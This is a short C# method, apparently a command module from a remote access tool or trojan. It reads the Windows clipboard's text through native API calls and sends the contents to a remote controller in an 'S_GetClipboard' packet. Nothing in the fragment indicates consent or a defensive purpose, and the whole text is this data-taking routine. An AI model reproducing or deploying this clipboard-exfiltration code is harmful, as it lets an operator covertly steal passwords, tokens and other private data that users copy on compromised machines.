public override void Run() { APIs.OpenClipboard(Process.GetCurrentProcess().MainWindowHandle); IntPtr ClipboardDataPointer = APIs.GetClipboardData(1); UIntPtr Length = APIs.GlobalSize(ClipboardDataPointer); IntPtr gLock = APIs.GlobalLock(ClipboardDataPointer); byte[] Buffer = new byte[(int)Length]; Marshal.Copy(gLock, Buffer, 0, (int)Length); APIs.CloseClipboard(); Client.SendPacket(new S_GetClipboard(Client, Encoding.Default.GetString(Buffer))); }